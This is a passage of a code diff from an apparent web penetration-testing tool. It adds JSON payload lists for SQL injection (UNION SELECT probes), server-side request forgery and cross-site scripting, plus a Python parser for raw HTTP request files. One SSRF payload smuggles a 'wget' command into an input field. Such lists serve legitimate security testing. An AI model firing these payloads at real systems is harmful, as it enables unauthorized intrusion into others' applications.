"' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+"
|
|
55
|
+
],
|
|
56
|
+
"verify": [
|
|
57
|
+
"[RANDOM_5]0"
|
|
58
|
+
],
|
|
59
|
+
"type": "REGEX"
|
|
60
|
+
},
|
|
61
|
+
{
|
|
62
|
+
"payload": [
|
|
63
|
+
"\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
|
|
64
|
+
"\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
|
|
65
|
+
"\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
|
|
66
|
+
"\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
|
|
67
|
+
"\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
|
|
68
|
+
"\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
|
|
69
|
+
"\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
|
|
70
|
+
"\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
|
|
71
|
+
"\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
|
|
72
|
+
"\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
|
|
73
|
+
"\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
|
|
74
|
+
"\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
|
|
75
|
+
"\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
|
|
76
|
+
"\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
|
|
77
|
+
"\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
|
|
78
|
+
"\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
|
|
79
|
+
"\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
|
|
80
|
+
"\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
|
|
81
|
+
"\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
|
|
82
|
+
"\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+"
|
|
83
|
+
],
|
|
84
|
+
"verify": [
|
|
85
|
+
"[RANDOM_3][RANDOM_3]"
|
|
86
|
+
],
|
|
87
|
+
"type": "REGEX"
|
|
88
|
+
}
|
|
89
|
+
]
|
|
90
|
+
}
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "Server Side Request Forgery",
|
|
3
|
+
"vuln_code": "SSRF",
|
|
4
|
+
"payloads": [
|
|
5
|
+
{
|
|
6
|
+
"payload": "[URL]",
|
|
7
|
+
"verify": [
|
|
8
|
+
"foo"
|
|
9
|
+
],
|
|
10
|
+
"type": "request"
|
|
11
|
+
},
|
|
12
|
+
{
|
|
13
|
+
"payload": "foo || wget [url]",
|
|
14
|
+
"verify": [
|
|
15
|
+
"foo"
|
|
16
|
+
],
|
|
17
|
+
"type": "request"
|
|
18
|
+
}
|
|
19
|
+
]
|
|
20
|
+
}
|
|
@@ -0,0 +1,83 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "Cross Site Scripting",
|
|
3
|
+
"vulnerability": "PTV-WEB-SANIT-OUTPUTENC",
|
|
4
|
+
"payloads": [
|
|
5
|
+
{
|
|
6
|
+
"payload": "'\"><hr>\"'",
|
|
7
|
+
"verify": [
|
|
8
|
+
"foo"
|
|
9
|
+
],
|
|
10
|
+
"type": "HTML_TAG"
|
|
11
|
+
},
|
|
12
|
+
{
|
|
13
|
+
"payload": "<foo>test</foo>",
|
|
14
|
+
"verify": [
|
|
15
|
+
"foo"
|
|
16
|
+
],
|
|
17
|
+
"type": "HTML_TAG"
|
|
18
|
+
},
|
|
19
|
+
{
|
|
20
|
+
"payload": "</title></textarea></script>'\"><foo>test</foo>",
|
|
21
|
+
"verify": [
|
|
22
|
+
"foo"
|
|
23
|
+
],
|
|
24
|
+
"type": "HTML_TAG"
|
|
25
|
+
},
|
|
26
|
+
{
|
|
27
|
+
"payload": "--><foo>test</foo>",
|
|
28
|
+
"verify": [
|
|
29
|
+
"foo"
|
|
30
|
+
],
|
|
31
|
+
"type": "HTML_TAG"
|
|
32
|
+
},
|
|
33
|
+
{
|
|
34
|
+
"payload": "\"><foo>test</foo>",
|
|
35
|
+
"verify": [
|
|
36
|
+
"foo"
|
|
37
|
+
],
|
|
38
|
+
"type": "HTML_TAG"
|
|
39
|
+
},
|
|
40
|
+
{
|
|
41
|
+
"payload": "'><foo>test</foo>",
|
|
42
|
+
"verify": [
|
|
43
|
+
"foo"
|
|
44
|
+
],
|
|
45
|
+
"type": "HTML_TAG"
|
|
46
|
+
},
|
|
47
|
+
{
|
|
48
|
+
"payload": "</title><foo>test</foo>",
|
|
49
|
+
"verify": [
|
|
50
|
+
"foo"
|
|
51
|
+
],
|
|
52
|
+
"type": "HTML_TAG"
|
|
53
|
+
},
|
|
54
|
+
{
|
|
55
|
+
"payload": "</textarea><foo>test</foo>",
|
|
56
|
+
"verify": [
|
|
57
|
+
"foo"
|
|
58
|
+
],
|
|
59
|
+
"type": "HTML_TAG"
|
|
60
|
+
},
|
|
61
|
+
{
|
|
62
|
+
"payload": "</script><foo>test</foo>",
|
|
63
|
+
"verify": [
|
|
64
|
+
"foo"
|
|
65
|
+
],
|
|
66
|
+
"type": "HTML_TAG"
|
|
67
|
+
},
|
|
68
|
+
{
|
|
69
|
+
"payload": "' foo='",
|
|
70
|
+
"verify": [
|
|
71
|
+
"foo"
|
|
72
|
+
],
|
|
73
|
+
"type": "HTML_ATTR"
|
|
74
|
+
},
|
|
75
|
+
{
|
|
76
|
+
"payload": "\" foo=\"",
|
|
77
|
+
"verify": [
|
|
78
|
+
"foo"
|
|
79
|
+
],
|
|
80
|
+
"type": "HTML_ATTR"
|
|
81
|
+
}
|
|
82
|
+
]
|
|
83
|
+
}
|
|
File without changes
|
|
@@ -0,0 +1,141 @@
|
|
|
1
|
+
class RequestFileParser:
|
|
2
|
+
def __init__(self, placeholder_char: str, ptjsonlib: object, use_json: bool):
|
|
3
|
+
self.ptjsonlib = ptjsonlib
|
|
4
|
+
self.use_json = use_json
|
|
5
|
+
self.placeholder_char = placeholder_char
|
|
6
|
+
self.host = None
|
|
7
|
+
|
|
8
|
+
def parse_request_file(self, request_file):
|
|
9
|
+
"""Parse the provided request file.
|
|
10
|
+
|
|
11
|
+
Args:
|
|
12
|
+
request_file (str): The path to the request file.
|
|
13
|
+
|
|
14
|
+
Returns:
|
|
15
|
+
tuple: A tuple containing the URL, request data, HTTP method, and headers parsed from the request file.
|
|
16
|
+
"""
|
|
17
|
+
try:
|
|
18
|
+
headers, request_data = self._initialize_parsing_variables()
|
|
19
|
+
method, path = self._parse_first_line(request_file)
|
|
20
|
+
|
|
21
|
+
# Parse remaining lines for headers and body
|
|
22
|
+
self._parse_lines(request_file, headers, request_data)
|
|
23
|
+
|
|
24
|
+
# Construct URL based on host header
|
|
25
|
+
url = self._construct_url(path)
|
|
26
|
+
|
|
27
|
+
# Check for placeholder character in URL or request data
|
|
28
|
+
self._check_placeholder(url, request_data, headers)
|
|
29
|
+
request_data = ''.join(request_data)
|
|
30
|
+
return url, request_data, method, headers
|
|
31
|
+
|
|
32
|
+
except FileNotFoundError:
|
|
33
|
+
self.ptjsonlib.end_error("Path to request file is not valid", self.use_json)
|
|
34
|
+
except Exception as e:
|
|
35
|
+
self.ptjsonlib.end_error(f"Error parsing request file ({e})", self.use_json)
|
|
36
|
+
|
|
37
|
+
def _initialize_parsing_variables(self):
|
|
38
|
+
"""Initialize variables for parsing."""
|
|
39
|
+
headers = {}
|
|
40
|
+
request_data = []
|
|
41
|
+
return headers, request_data
|
|
42
|
+
|
|
43
|
+
def _parse_lines(self, request_file, headers, request_data):
|
|
44
|
+
"""Parse the lines of the request file.
|
|
45
|
+
|
|
46
|
+
Args:
|
|
47
|
+
request_file (str): The path to the request file.
|
|
48
|
+
headers (dict): The headers to populate.
|
|
49
|
+
request_data (list): The list to accumulate request data.
|
|
50
|
+
"""
|
|
51
|
+
is_body = False
|
|
52
|
+
with open(request_file, "r") as file:
|
|
53
|
+
lines = file.readlines()[1:] # Přeskočit první řádek
|
|
54
|
+
|
|
55
|
+
for line in lines:
|
|
56
|
+
line = line.strip()
|
|
57
|
+
if is_body:
|
|
58
|
+
request_data.append(line)
|
|
59
|
+
else:
|
|
60
|
+
is_body = self._parse_header(line, headers)
|
|
61
|
+
|
|
62
|
+
|
|
63
|
+
def _parse_first_line(self, request_file):
|
|
64
|
+
"""Parse the first line of the request file.
|
|
65
|
+
|
|
66
|
+
Args:
|
|
67
|
+
request_file (str): The path to the request file.
|
|
68
|
+
|
|
69
|
+
Returns:
|
|
70
|
+
tuple: The HTTP method and path from the first line.
|
|
71
|
+
|
|
72
|
+
Example:
|
|
73
|
+
If the first line of the request file is:
|
|
74
|
+
GET /search?query=foo HTTP/1.1
|
|
75
|
+
The method would be 'GET' and the path would be '/search?query=foo'.
|
|
76
|
+
"""
|
|
77
|
+
with open(request_file, "r") as file:
|
|
78
|
+
first_line = file.readline().strip()
|
|
79
|
+
line_parts = first_line.split()
|
|
80
|
+
if len(line_parts) != 3:
|
|
81
|
+
self.ptjsonlib.end_error("Provided file is not a valid request file", self.use_json)
|
|
82
|
+
|
|
83
|
+
method, path = line_parts[0], line_parts[1]
|
|
84
|
+
return method, path
|
|
85
|
+
|
|
86
|
+
def _parse_header(self, line, headers):
|
|
87
|
+
"""Parse a header line.
|
|
88
|
+
|
|
89
|
+
Args:
|
|
90
|
+
line (str): The header line.
|
|
91
|
+
headers (dict): The headers to populate.
|
|
92
|
+
|
|
93
|
+
Returns:
|
|
94
|
+
bool: True if the body starts; False otherwise.
|
|
95
|
+
"""
|
|
96
|
+
line_parts = line.split(":", 1)
|
|
97
|
+
if len(line_parts) == 2:
|
|
98
|
+
headers[line_parts[0].strip()] = line_parts[1].strip()
|
|
99
|
+
if line_parts[0].strip().lower() == "host":
|
|
100
|
+
self.host = line_parts[1].strip() # Store the host for URL construction
|
|
101
|
+
elif len(line_parts) == 1 and not line_parts[0]:
|
|
102
|
+
return True # Empty line indicates the start of the body
|
|
103
|
+
return False # Still in headers
|
|
104
|
+
|
|
105
|
+
def _construct_url(self, path):
|
|
106
|
+
"""Construct the URL from the path and host.
|
|
107
|
+
|
|
108
|
+
Args:
|
|
109
|
+
path (str): The path from the request file.
|
|
110
|
+
|
|
111
|
+
Returns:
|
|
112
|
+
str: The constructed URL.
|
|
113
|
+
"""
|
|
114
|
+
if self.host:
|
|
115
|
+
return f"https://{self.host}{path}"
|
|
116
|
+
else:
|
|
117
|
+
self.ptjsonlib.end_error("Host header is missing in the request file", self.use_json)
|
|
118
|
+
|
|
119
|
+
|
|
120
|
+
def _check_placeholder(self, url, request_data, headers):
|
|
121
|
+
"""Check if the placeholder character is present in the URL, request data, or headers.
|
|
122
|
+
|
|
123
|
+
Args:
|
|
124
|
+
url (str): The URL to check.
|
|
125
|
+
request_data (list): The request data to check.
|
|
126
|
+
headers (dict): The headers to check.
|
|
127
|
+
"""
|
|
128
|
+
# Check if placeholder in URL
|
|
129
|
+
if self.placeholder_char in url:
|
|
130
|
+
return
|
|
131
|
+
|
|
132
|
+
# Check if placeholder in request data
|
|
133
|
+
if self.placeholder_char in ''.join(request_data):
|
|
134
|
+
return
|
|
135
|
+
|
|
136
|
+
# Check if placeholder in headers
|
|
137
|
+
for header_key, header_value in headers.items():
|
|
138
|
+
if self.placeholder_char in header_key or self.placeholder_char in header_value:
|
|
139
|
+
return
|
|
140
|
+
|
|
141
|
+
self.ptjsonlib.end_error("Placeholder character is required in URL, request data, or headers", self.use_json)
|